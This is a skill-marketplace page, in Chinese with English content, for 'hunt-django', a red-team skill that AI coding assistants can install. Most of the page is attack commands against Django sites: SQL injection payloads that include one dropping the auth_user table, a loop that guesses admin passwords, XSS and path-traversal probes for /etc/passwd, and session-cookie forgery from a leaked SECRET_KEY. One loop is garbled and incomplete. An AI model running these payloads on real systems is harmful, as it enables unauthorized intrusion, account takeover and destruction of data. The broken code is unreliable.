用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill hunt-django命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | hunt-django |
| description | Hunt Django-specific vulnerabilities: DRF permission gaps, ORM injection, and admin exploitation. |
| category | redteam |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["redteam","django","DRF","ORM","Python","admin","CSRF"] |
| related_skills | ["hunt-sqli","hunt-ssti","hunt-idor","hunt-csrf"] |
Hunt Django-specific vulnerabilities focusing on Django REST Framework (DRF) permission class gaps, ORM raw query injection, template injection via |safe and mark_safe, and Django admin panel exploitation. Django's batteries-included approach creates unique attack surface: admin interface, ORM query building, DRF serializers, Channels WebSockets, and Celery task queues.
csrftoken cookie, /admin/ login, DRF browsable API, or __debug__toolbar)./admin/ or custom path.# Django fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/admin/login/" | grep -iE "csrftoken|sessionid|django"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com" | grep -Eo 'csrftoken|__debug__|django'
# DRF list vs retrieve vs custom @action — each may have different permissions
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/" # list: may be restricted
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1/" # retrieve: may leak individual
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/me/" # me: may work without auth
# Custom @action endpoints often miss permission checks
# Test common DRF action names
for action in "export" "import" "bulk" "search" "stats" "report" \
;
curl --max-time 30 --connect-timeout 10 -sk -X POST \
-w -o /dev/null
# Django raw() — direct SQL injection
requests.get("https://target.com/api/search/?q=' UNION SELECT username,password FROM auth_user--")
# Django extra() — where clause injection
requests.get("https://target.com/api/products/?category=1' OR '1'='1")
# RawSQL in annotations
requests.get("https://target.com/api/stats/?order=name'); DROP TABLE auth_user;--")
# Django cursor.execute() on user input
# Find via code review: cursor.execute(f"SELECT * FROM {table}")
# Admin interface discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/admin/"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/django-admin/"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/administrator/"
# Admin panel session cookie analysis
# If you obtain a session cookie, decode it
echo "SESSION_COOKIE" | python3 -c "
import base64,json,zlib,sys
cookie=sys.stdin.read().strip()
data=base64.b64decode(cookie.split('.')[0]+'==')
print(json.loads(zlib.decompress(data)))
"
# Django admin brute force (check for common credentials)
for pw in admin password django admin123 changeme; do
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/admin/login/?next=/admin/" \
-d "username=admin&password=$pw&csrfmiddlewaretoken=TOKEN" \
-c /tmp/jar.txt -w "%{http_code} — $pw\n" -o /dev/null
done
# mark_safe and |safe filter on user input
# If a view returns mark_safe(user_input), inject HTML/JS
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/contact/?message=<script>alert(1)</script>"
# Template injection via user-controlled template names
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/preview/?template=../../etc/passwd"
# SECRET_KEY leakage → signed cookie forgery
# If SECRET_KEY is leaked (env file, debug page, error)
python3 -c "
from django.core.signing import TimestampSigner
signer = TimestampSigner(key='LEAKED_SECRET_KEY')
print(signer.sign('admin'))
"
# Django Channels WebSocket — may not enforce same auth as REST
# Test WS connection with and without session cookie
wscat -c "wss://target.com/ws/chat/" -H "Cookie: sessionid=INVALID"
# Async consumers without @database_sync_to_async may have race conditions
# Test parallel WS messages to trigger race
AllowAny ≠ misconfiguration. Verify the endpoint is supposed to be public before reporting.|safe or mark_safe must be explicitly used.IsAuthenticated returns data that should be restricted.hunt-sqli — Django ORM raw query injection chains to full SQL injection.hunt-ssti — Django template injection via user-controlled template names.hunt-idor — DRF permission gaps leading to object-level access.